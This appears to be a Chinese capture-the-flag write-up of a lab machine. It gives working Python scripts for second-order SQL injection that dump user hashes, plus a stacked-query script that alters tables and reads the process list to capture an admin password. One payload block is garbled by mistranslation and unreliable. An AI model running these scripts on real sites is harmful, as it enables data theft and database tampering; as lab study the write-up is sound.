当前位置: 首页 > java >正文

THM Rabbit Hole

信息收集

[2025-08-25 17:29:28] [INFO] 暴力破解线程数: 1                                                                                                                                                                                             [2025-08-25 17:29:28] [INFO] 开始信息扫描[2025-08-25 17:29:28] [INFO] 最终有效主机数量: 1[2025-08-25 17:29:28] [INFO] 开始主机扫描[2025-08-25 17:29:28] [INFO] 有效端口数量: 233[2025-08-25 17:29:28] [SUCCESS] 端口开放 10.10.13.181:22[2025-08-25 17:29:28] [SUCCESS] 服务识别 10.10.13.181:22 => [ssh] 版本:8.9p1 产品:OpenSSH 信息:protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.9p1.][2025-08-25 17:29:29] [SUCCESS] 端口开放 10.10.13.181:80[2025-08-25 17:29:35] [SUCCESS] 服务识别 10.10.13.181:80 => [http][2025-08-25 17:29:35] [INFO] 存活端口数量: 2[2025-08-25 17:29:35] [INFO] 开始漏洞扫描[2025-08-25 17:29:35] [INFO] 加载的插件: ssh, webpoc, webtitle[2025-08-25 17:29:36] [SUCCESS] 网站标题 http://10.10.13.181       状态码:200 长度:723    标题:Your page title here :)[2025-08-25 17:30:39] [SUCCESS] 扫描已完成: 3/3

目录扫描

Target: http://10.10.13.181/​[17:30:43] Starting:[17:30:57] 403 -  277B  - /.ht_wsr.txt[17:30:57] 403 -  277B  - /.htaccess.bak1[17:30:57] 403 -  277B  - /.htaccess.orig[17:30:57] 403 -  277B  - /.htaccess.sample[17:30:57] 403 -  277B  - /.htaccess.save[17:30:57] 403 -  277B  - /.htaccess_orig[17:30:57] 403 -  277B  - /.htaccessBAK[17:30:57] 403 -  277B  - /.htaccess_extra[17:30:57] 403 -  277B  - /.htaccess_sc[17:30:57] 403 -  277B  - /.htaccessOLD[17:30:57] 403 -  277B  - /.htaccessOLD2[17:30:57] 403 -  277B  - /.html[17:30:57] 403 -  277B  - /.htm[17:30:57] 403 -  277B  - /.htpasswd_test[17:30:57] 403 -  277B  - /.htpasswds[17:30:57] 403 -  277B  - /.httr-oauth[17:32:00] 301 -  310B  - /css  ->  http://10.10.13.181/css/[17:32:29] 200 -  472B  - /login.php[17:32:30] 302 -    0B  - /logout.php  ->  /[17:32:58] 200 -  502B  - /register.php[17:33:04] 403 -  277B  - /server-status[17:33:04] 403 -  277B  - /server-status/

进入80端口发现有注册,先注册一下账户进去

没找到啥东西,测一下sql注入吧,登录和注册都测一下,但是两个数据包都直接放进sqlmap没有跑出来

获取shell

XSS

上图可以发现自己的用户名被显示在屏幕上了,测一下xss,注册<script>1</script>的用户,进来发现

简单绕一下

</tr><script>alert(1)</script>

成功弹窗,但是对于拿数据的话没啥用,不过这也证实了一点,就是我们的输入会被放入表中,之后通过查询获取,那么就可能存在二次SQL注入

SQL注入

二次注入的话自己写个py脚本

import requestsimport sysurl_base = "http://10.10.181.4/"payload = '" UNION SELECT 1,2#'​s = requests.session()s.post(url_base + "register.php", data={"username": payload, "password": "123", "submit": "%E6%8F%90%E4%BA%A4"})s.post(url_base + "login.php", data={"username": payload, "password": "123", "login": "%E6%8F%90%E4%BA%A4"})r = s.get(url_base)print(r.text)​<thead><th>User 1 - admin last logins</th></thead><tbody><tr><td>2025-08-25 10:20</td></tr><tr><td>2025-08-25 10:19</td></tr><tr><td>2025-08-25 10:18</td></tr><tr><td>2025-08-25 10:17</td></tr><tr><td>2025-08-25 10:16</td></tr></tbody></table><table class="u-full-width"><thead><th>User 42 - " UNION SELECT 1,2# last logins</th></thead><tbody><tr><td>2</td></tr></tbody></table></div></div></div>

回显位是2,那接下来就是标准流程了,但是又发现了一个问题

import requestsimport sysurl_base = "http://10.10.181.4/"payload = '" UNION select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#'s = requests.session()s.post(url_base + "register.php", data={"username": payload, "password": "123", "submit": "%E6%8F%90%E4%BA%A4"})s.post(url_base + "login.php", data={"username": payload, "password": "123", "login": "%E6%8F%90%E4%BA%A4"})r = s.get(url_base)print(r.text)​tr><td>information_sche</td></tr>

每次只回显16位,修改一下脚本,问ai就行,然后自己稍微改一下就能用了

#!/usr/bin/env python3​import requestsfrom bs4 import BeautifulSoup​url_base = "http://10.10.181.4/"output_file = "1.txt"​# 初始化偏移量result = ""offset = 0​while True:# 修改 payload,使用 `SUBSTRING` 函数逐步获取数据payload = f'" UNION SELECT 1,SUBSTRING(group_concat(SCHEMA_NAME), {offset+1}, 16) FROM information_schema.SCHEMATA#'# 创建会话s = requests.session()s.post(url_base + "register.php", data={"username": payload, "password": "123", "submit": "%E6%8F%90%E4%BA%A4"})s.post(url_base + "login.php", data={"username": payload, "password": "123", "login": "%E6%8F%90%E4%BA%A4"})r = s.get(url_base)# 使用 BeautifulSoup 解析 HTMLsoup = BeautifulSoup(r.text, "html.parser")td_elements = soup.find_all("td")  # 获取所有 <td> 标签内容# 获取目标数据data = td_elements[5].get_text()if len(data) <= 0:breakresult += dataoffset += 16  # 更新偏移量print(f"Fetched: {data}")​# 将结果写入文件with open(output_file, "w") as f:f.write(result)​print(f"Final result written to {output_file}")

这样就可以正常查看了

" UNION SELECT 1,SUBSTRING(group_concat(SCHEMA_NAME), {offset+1}, 16) FROM information_schema.SCHEMATA#information_schema,web​" UNION SELECT 1,SUBSTRING(group_concat(table_name), {offset+1}, 16) from information_schema.tables where table_schema=\'web\'#users,logins​" UNION SELECT 1,SUBSTRING(group_concat(column_name), {offset+1}, 16)  from information_schema.columns where table_name=\'users\'#id,username,password,group​" UNION SELECT 1,SUBSTRING(group_concat(id,":",username,":",password,":",`group` SEPARATOR "\n"), {offset+1}, 16) FROM web.users where id<4#1:admin:0e3ab8e45ac1163c2343990e427c66ff:admin2:foo:a51e47f646375ab6bf5dd2c42d3e6181:guest3:bar:de97e75e5b4604526a2afaed5f5439d7:guest

拿到了admin的md5值,但是不能被破解,后面参考了一下歪果仁大佬Jaxafed的思路,说是有一个PROCESSLIST 表,它位于 information_schema 数据库,可以查询数据库中当前正在运行的查询,由于 admin 用户每分钟都会登录网站,并且登录查询中会调用 SLEEP 函数,因此我们每分钟都会有五秒钟的时间从表中读取登录查询。如果用户密码的哈希值不是在 PHP 代码中完成的,而是使用 MD5 函数传递给 MySQL ,能够获取 admin 用户的密码。

然后就是如何查询的问题了,这里直接说一个最简单的先,那就是下面的payload

0“ union all select null,mid(info,1,16) from information_schema.processlist,其中信息不像 '%info%'union all select null,mid(info,16) from information_schema.processlist,其中信息不像 '%info%'union all select null,mid(info,16) from information_schema.processlist,其中信息不像 '%info%'union all select null,mid(info,16) from information_schema.processlist,其中信息不像 '%info%'union all select null,mid(info,16) from information_schema.processlist,其中信息不像 '%info%'union all select null,mid(info,16) from information_schema.processlist,其中信息不像 '%info%'union all select null,mid(info,97,16) from information_schema.processlist,其中信息不像 '%info%'union all select null,mid(info,113,16) from information_schema.processlist,其中信息不像 '%info%'union all select null,mid(info,129,16) from information_schema.processlist,其中信息不像 '%info%'union all select null,mid(info,16) from information_schema.processlist,其中信息不像 '%info%' -- -

当然有一些有意思的思路,就是先修改user的id字段的属性改为string,然后使用当前正在运行的查询来更新表中的 id 字段

#!/usr/bin/env python3​import requestsimport reimport timeimport sys​url_base = sys.argv[1]​# modify the data type for the id columns = requests.session()payload = f'" UNION SELECT 1,2; ALTER TABLE web.users MODIFY id VARCHAR(255); ALTER TABLE web.users DROP PRIMARY KEY;#'s.post(url_base + "register.php", data={"username": payload, "password": "jxf", "submit": "Submit Query"})s.post(url_base + "login.php", data={"username": payload, "password": "jxf", "login": "Submit Query"})s.get(url_base)​# create and log in with an account to update the id column with the current queries if it is not emptys = requests.session()payload = f'" UNION SELECT 1,2; UPDATE web.users SET id=(SELECT IFNULL(GROUP_CONCAT(INFO_BINARY),"1") FROM information_schema.PROCESSLIST WHERE INFO_BINARY NOT LIKE "%INFO_BINARY%") WHERE username="admin";#'s.post(url_base + "register.php", data={"username": payload, "password": "jxf", "submit": "Submit Query"})s.post(url_base + "login.php", data={"username": payload, "password": "jxf", "login": "Submit Query"})​# constantly update the id field by fetching the last logins page and if it is not set to 1, print it and exitwhile True:r = s.get(url_base)if "User 1 - admin" not in r.text:print(re.search(r"User (.*) - admin last logins", r.text).group(1))# after successful extraction, clean up the databasepayload = f'" UNION SELECT 1,2; DELETE FROM web.users WHERE username LIKE "%UNION SELECT 1,2%"; UPDATE web.users SET id="1" WHERE username="admin"; ALTER TABLE web.users MODIFY id INT PRIMARY KEY AUTO_INCREMENT;#'s = requests.session()s.post(url_base + "register.php", data={"username": payload, "password": "jxf", "submit": "Submit Query"})s.post(url_base + "login.php", data={"username": payload, "password": "jxf", "login": "Submit Query"})s.get(url_base)​break​time.sleep(1)

运行脚本,我们能够提取 admin 用户的登录查询并发现密码。

python3 sqli_stacked_queries.py 'http://10.10.181.4/' SELECT * from users where (username= 'admin' and password=md5('fE[REDACTED]0Q') ) UNION ALL SELECT null,null,null,SLEEP(5) LIMIT 2

获取flag

然后登录ssh即可

http://www.xdnf.cn/news/18801.html

相关文章:

  • COREDUMP
  • Life:Internship in OnSea Day 64
  • java基础(十五)计算机网络
  • 利用matlab实现CST超表面阵列的自动建模
  • TCP和UDP的使用场景
  • onnx入门教程(四)——ONNX 模型的修改与调试
  • 借Copilot之力,实现办公效率的跃升
  • Flink 滑动窗口实战:从 KeyedProcessFunction 到 AggregateFunction WindowFunction 的完整旅程
  • 交换机是如何同时完成帧统计与 BER/FEC 分析的
  • leetcode LCR 012.寻找数组的中心下标
  • 59 C++ 现代C++编程艺术8-智能指针
  • IO多路转接(select方案)
  • 测试用例如何评审?
  • `mysql_query()` 数据库查询函数
  • 如何监控ElasticSearch的集群状态?
  • THM trypwnme2
  • 【广告系列】流量归因模型
  • LeetCode热题100--102. 二叉树的层序遍历--中等
  • 云计算学习笔记——Linux用户和组的归属权限管理、附加权限、ACL策略管理篇
  • CentOS安装Jenkins全流程指南
  • 【大白话解析】 OpenZeppelin 的 ECDSA 库:以太坊签名验证安全工具箱(附源代码)
  • 零基础也能写博客:cpolar简化Docsify远程发布流程
  • 自学嵌入式第二十七天:Linux系统编程-进程
  • MQTT 协议模型:客户端、 broker 与主题详解(二)
  • Java 学习笔记(基础篇10)
  • Qwen2-Plus与DeepSeek-V3深度测评:从API成本到场景适配的全面解析
  • Coze用户账号设置修改用户头像-后端源码
  • 大模型的多机多卡训练
  • 09-数据存储与服务开发
  • 深度学习分类网络初篇